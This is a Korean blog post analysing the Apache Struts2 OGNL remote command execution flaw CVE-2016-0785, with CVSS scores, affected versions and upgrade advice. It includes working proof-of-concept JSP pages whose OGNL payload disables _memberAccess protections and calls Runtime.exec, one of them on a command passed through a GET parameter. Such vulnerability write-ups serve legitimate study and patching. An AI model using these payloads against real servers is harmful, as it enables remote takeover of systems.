최근 Apache Struts2에 Remote Command Execution 취약점이 하나 올라왔습니다. 이전에도 굉장히 이슈가 많았던 Struts 취약점은 Struts2를 사용하는 Apache에서 취약할 수 있으며 원격 명령이 실행되어 서버 권한을 탈취할 수 있기 때문에 굉장히 위험하죠.
CVE-2016-3081 이슈도 제가 글 작성하던 당시 나왔는데, 정리가 안된지라 CVE-2016-0785부터 정리할까 합니다.
CVSS
CVSS 3.0
Severity:
- CVSS v3 Base Score: 8.8 High
- Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Impact Score: 5.9
- Exploitability Score: 2.8
Metrics:
- Attack Vector (AV): Network
- Attack Complexity (AC): Low
- Privileges Required (PR): Low
- User Interaction (UI): None
- Scope (S): Unchanged
- Confidentiality (C): High
- Integrity (I): High
- Availability (A): High
CVSS 2.0
Severity:
- CVSS v2 Base Score: 10.0 HIGH
- Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C)/(legend)
- Impact Subscore: 10.0
- Exploitability Subscore: 10.0
Metrics:
- Access Vector: Network exploitable
- Access Complexity: Low
- Authentication: Not required to exploit
- Impact Type: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows disruption of service
Struts 2.0.0 ~ Struts 2.3.24.1 이라고 했지만 NVD에서 2.3.28 이하 버전 또한 취약하다고 합니다. 2.3.28 이하로 생각하시면 좋습니다.
공격 원리
Apache Struts2 2.3.24.1 버전 이하에서는 태그 속성에 %{}
스퀀스가 들어갔을 때 영향을 미칩니다. 이때 double OGNL evaluation이 일어나면서 명령 실행이 가능해집니다.
참고: https://www.hahwul.com/cullinan/ognl-injection/
Struts2 태그 라이브러리의 OGNL 표현식은 ActionContext에 Object Data에 접근할 수 있습니다. 아래 코드를 보면 라벨을 통해 OGNL 값이 호출됩니다.
<p>parameters: <s:property value="#parameters.msg" /></p>
Struts2 값을 파싱하고 OGNL이 실행되며 parameters의 msg 에 도달하게 되고 이부분의 명령을 실행하게 됩니다. 저러한 부분을 우리가 값을 통해 넘길 수 있을 때 필터링되지 않아 원격 명령을 내릴수가 있습니다. 아래 POC 코드에서도 비슷한 이야기를 하겠지만 순차적으로 흐름을 보면 Label 값을 OGNL으로 넘기고 해당 부분에서 특수문자 필터링이 되지 않고 JSP 구문으로 인식되어서 공격자가 강제로 memberAccess의 설정을 변경합니다. 변경된 내용중에는 중요한 설정값이 존재합니다.
- allowPrivateAccess => true(중요 데이터에 접근 허용)
- allowProtectedAccess => false(접근에 대한 보호조치를 해제)
아래 공개된 POC 기준으로 약간 변경해서 작성하였습니다.
<%@page import="java.util.HashSet"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head><title>Struts2 Vul Test</title></head>
<body>
<%
String cmd = request.getParameter("command");
request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('"+command+"'),new java.lang.String('");
%>
<s:i18n name="%{#request.lan}">hwul</s:i18n>
</body>
</html>
GET 파라미터로 command에 명령값을 받은 후 해당 JSP 구문이 실행되면서 memberAccess 가 의 보호조치가 해제되고 명령이 실행되는 구조입니다.
GET /struts2_test.jsp?command=ifconfig%20>>%20/tmp/zzzz
POC
구글링을 좀 해봤지만 아직 Client 기준에서 테스트를 위한 코드를 발견하지는 못했습니다. 물론 테스트를 위해서는 서버 어플리케이션의 환경 구성이 필요하니 딱 코드 하나로 테스트하기에는 어렵겠네요.
일단 서버에서 직접 검증할 수 있는 코드를 구했습니다. 아래 코드를 JSP의 Web Directory 에 넣어주세요.
<%@pageimport="java.util.HashSet"%>
<%@ pagecontentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s"uri="/struts-tags" %>
<html>
<head><title>Struts2 Test</title></head>
<body>
<%
request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,
#_memberAccess['allowProtectedAccess']=true,
#_memberAccess['allowPackageProtectedAccess']=true,
#_memberAccess['allowStaticMethodAccess']=true,
#_memberAccess['excludedPackageNamePatterns']=
#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=
#_memberAccess['acceptProperties'],
#a=@java.lang.Runtime@getRuntime(),#a.exec('touch /tmp/sangfor_test'),new java.lang.String('");
%>
<s:i18nname="%{#request.lan}">xxxxx</s:i18n>
</body>
</html> <!-- Code Reference: http://sec.sangfor.com.cn:88/events/56.html -->
넣은 후 해당 코드를 웹 브라우저로 열면 /TMP 하단에 테스트 파일이 만들어집니다. 공격 코드를 통해 이루어진 것이고 파일이 생성되었다면 취약하다고 볼 수 있습니다. 아래 wtoutiao.com에서 작성된 글의 이미지를 보면 우리가 label을 통해 넘긴 %{#_memberAccess}
가 %
이 필터링 되지 않아 expr 내 #_memberAccess로 넘어감을 알 수 있습니다.
위 공격코드에서는 lan의 속성값을 내부에 #_memberAccess의 인자를 설정하는 코드를 같이 넣어주고 memberAccess의 값을 바꾼 후 Runtime 호출 후 exec로 명령을 넘기게 됩니다.
#a=@java.lang.Runtime@getRuntime(),#a.exec('touch /tmp/sangfor_test')
대응방법
제로데이가 아니기 때문에 패치를 통해 쉽게 해결할 수 있습니다. 2.3.28 보다 높은 버전으로 업그레이드가 필요합니다.
Reference
- http://sec.sangfor.com.cn:88/events/56.html